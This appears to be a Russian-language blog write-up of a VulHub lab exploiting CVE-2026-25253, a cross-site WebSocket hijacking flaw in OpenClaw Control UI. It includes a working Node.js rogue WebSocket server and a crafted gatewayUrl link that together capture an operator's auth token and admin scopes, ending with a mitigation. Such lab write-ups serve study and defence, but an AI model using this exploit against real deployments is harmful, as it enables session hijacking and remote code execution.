На странице
apsyleg1 мин
#vulhub #websocket #cswsh #cve #web-security

Cross-Site WebSocket Hijacking в OpenClaw

Уязвимость

CVE-2026-25253 (CVSS 8.8) — уязвимость в OpenClaw Control UI (clawdbot до версии 2026.1.28). UI принимает query-параметр gatewayUrl и автоматически подключается по нему через WebSocket без валидации и подтверждения пользователя. Атакующий может направить жертву на страницу с подставным gatewayUrl, перехватить auth.token, identity устройства и операторские scopes. С украденными credentials возможен перехват сессии и RCE.

Лаборатория

Источник: VulHub — CVE-2026-25253
CVSS: 8.8 (High)
Цель: Перехватить auth.token оператора через подмену WebSocket-сервера.

Поднимаем окружение:

docker compose up -d

Разведка

Стартовая страница — Chat:

Стартовая страница OpenClaw Control UI — вкладка Chat

Переходим на Overview:

Страница Overview с полем WebSocket URL

На странице видим поле WebSocket URL — возможно, в него рефлектится query-параметр gatewayUrl из описания CVE. Проверяем:

http://localhost:18789/overview?gatewayUrl=ws://localhost:3001

Подтверждено: в поле WebSocket URL появляется переданное значение ws://localhost:3001, подключение происходит автоматически. Никакого подтверждения от пользователя не требуется.

Анализ WebSocket-трафика

Burp здесь не нужен — смотрим WebSocket-фреймы прямо в DevTools Chrome (вкладка Network → WS).

Возвращаем gatewayUrl к легитимному серверу (ws://localhost:18789) и наблюдаем обмен сообщениями.

Сервер → клиент — challenge:

WebSocket: сообщение connect.challenge от сервера

{
  "type": "event",
  "event": "connect.challenge",
  "payload": {
    "nonce": "f57f7bae-ae58-4de2-9478-66604578b494",
    "ts": 1776687360893
  }
}

Клиент → сервер — connect с полными credentials:

WebSocket: ответ клиента с auth.token и scopes

{
  "type": "req",
  "method": "connect",
  "params": {
    "auth": {
      "token": "24e16b4eb430478fbab207a03568ac3a"
    },
    "client": {
      "id": "clawdbot-control-ui",
      "version": "dev",
      "platform": "MacIntel",
      "mode": "webchat"
    },
    "device": {
      "id": "4d546a991107044581ddb7f3975ee77ce81043ca4b90e625246a40f3dae974ae"
    },
    "role": "operator",
    "scopes": ["operator.admin", "operator.approvals", "operator.pairing"]
  }
}

Клиент отправляет auth.token, device.id, роль operator со scopes admin, approvals, pairing — всё, что нужно для перехвата сессии.

Эксплуатация

Пишем минимальный WebSocket-сервер, который ловит credentials подключающегося клиента:

// ws.mjs
import { WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 7777 });

wss.on('connection', (ws) => {
  console.log('[+] Client connected');

  ws.on('message', (data) => {
    const msg = JSON.parse(data);
    console.log('[+] auth.token:', msg.params?.auth?.token);
    console.log('[+] device.id: ', msg.params?.device?.id);
    console.log('[+] role:      ', msg.params?.role);
    console.log('[+] scopes:    ', msg.params?.scopes);
  });

  ws.on('close', () => console.log('[-] Client disconnected'));
});

console.log('[*] Listening on ws://localhost:7777');

Запускаем:

node ws.mjs

Точка входа — подставляем наш сервер в gatewayUrl:

http://localhost:18789/overview?gatewayUrl=ws://localhost:7777

Клиент автоматически подключился к exploit-серверу

Клиент подключается и сразу отправляет credentials — даже без challenge-сообщения от сервера. Нам не нужно ничего имитировать:

Консоль: auth.token и scopes получены

auth.token добыт.

Вывод

Разработчик полностью доверяет входным данным — gatewayUrl берётся из query-строки и используется для WebSocket-подключения без какой-либо проверки. Клиент подключается и сразу отправляет credentials.

Whitelist в данном случае не поможет: сама функция подразумевает подключение к произвольному серверу. Защита здесь — спросить пользователя, доверяет ли он данному URL, прежде чем устанавливать соединение.